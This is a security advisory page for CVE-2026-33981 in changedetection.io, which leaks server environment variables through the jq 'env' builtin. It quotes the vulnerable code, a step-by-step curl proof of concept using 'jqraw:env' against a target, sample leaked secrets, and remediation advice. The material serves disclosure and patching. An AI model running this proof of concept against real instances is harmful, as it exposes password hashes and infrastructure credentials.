EUVD-2026-16880

| CVE-2026-33981 HIGH
2026-03-27 https://github.com/dgtlmoon/changedetection.io GHSA-58r7-4wr5-hfx8
8.3
CVSS 4.0
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CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
X

Lifecycle Timeline

4
Analysis Generated
Mar 27, 2026 - 19:30 vuln.today
EUVD ID Assigned
Mar 27, 2026 - 19:30 euvd
EUVD-2026-16880
Patch Released
Mar 27, 2026 - 19:30 nvd
Patch available
CVE Published
Mar 27, 2026 - 19:11 nvd
HIGH 8.3

Description

### Summary The `jq:` and `jqraw:` include filter expressions allow use of the jq `env` builtin, which reads all process environment variables and stores them as the watch snapshot. An authenticated user (or unauthenticated user when no password is set, the default) can leak sensitive environment variables including `SALTED_PASS`, `PLAYWRIGHT_DRIVER_URL`, `HTTP_PROXY`, and any secrets passed as env vars to the container. ### Details **Vulnerable file:** `changedetectionio/html_tools.py`, lines 380-388 User-supplied jq filter expressions are compiled and executed without restricting dangerous jq builtins: ```python if json_filter.startswith("jq:"): jq_expression = jq.compile(json_filter.removeprefix("jq:")) match = jq_expression.input(json_data).all() return _get_stripped_text_from_json_match(match) if json_filter.startswith("jqraw:"): jq_expression = jq.compile(json_filter.removeprefix("jqraw:")) match = jq_expression.input(json_data).all() return '\n'.join(str(item) for item in match) ``` The form validator at `forms.py:670-673` only checks that the expression compiles (`jq.compile(input)`) - it does not block dangerous functions. The jq `env` builtin reads all process environment variables regardless of the input data, returning a dictionary of every env var in the server process. ### PoC **Step 1 - Create a watch for any JSON endpoint with `jqraw:env` as the include filter:** ```bash curl -X POST http://target:5000/api/v1/watch \ -H "Content-Type: application/json" \ -H "x-api-key: <api-key>" \ -d '{ "url": "https://httpbin.org/json", "include_filters": ["jqraw:env"], "time_between_check": {"seconds": 30} }' ``` If no password or API key is set (the default), no authentication is needed. **Step 2 - Wait for the watch to be checked, or trigger a recheck:** ```bash curl "http://target:5000/api/v1/watch/<uuid>?recheck=true" -H "x-api-key: <api-key>" ``` **Step 3 - The processed text file on disk now contains all environment variables:** ``` {'SALTED_PASS': '...hashed password...', 'PLAYWRIGHT_DRIVER_URL': 'ws://browser:3000', 'HTTP_PROXY': 'socks5h://10.10.1.10:1080', 'SHELL': '/bin/bash', 'HOME': '/root', 'PATH': '...', 'WERKZEUG_SERVER_FD': '22', ... and all other env vars} ``` The data is visible in the web UI when viewing the watch's latest snapshot, and is also included in notification messages if notifications are configured. **Confirmed on v0.54.6:** The processed text file stored 46 environment variables from the server process. ### Impact - **Secret exposure:** Leaks `SALTED_PASS` (password hash used for authentication), enabling offline cracking or direct session forgery - **Infrastructure credential theft:** Leaks `PLAYWRIGHT_DRIVER_URL`, `WEBDRIVER_URL`, `HTTP_PROXY`/`HTTPS_PROXY`, database connection strings, and any API keys or tokens passed as environment variables - **Cascading access:** Leaked proxy credentials or browser automation URLs can be used to pivot into other internal systems - **Affects all deployments using jq:** Any instance where the Python `jq` module is installed (standard in Docker deployments) is vulnerable - **No authentication required by default:** changedetection.io ships with no password and the API accessible without a key, so this is exploitable by any user with network access in the default configuration

Analysis

changedetection.io versions up to 0.54.6 leak all server environment variables including password hashes, proxy credentials, and API keys via unrestricted jq filter expressions. Attackers with API access (default: no authentication required) can extract SALTED_PASS, PLAYWRIGHT_DRIVER_URL, HTTP_PROXY, and any secrets passed to the container by creating a watch with 'jqraw:env' as the include filter. …

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Remediation

Within 24 hours: Identify all changedetection.io instances and document versions in use; verify internet-facing API endpoints and restrict network access to trusted sources only. Within 7 days: Apply vendor-released patch upgrading all instances to version 0.54.7 or later; validate patch deployment and restart services. …

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Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: +0.0
CVSS: +42
POC: 0

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EUVD-2026-16880 vulnerability details – vuln.today

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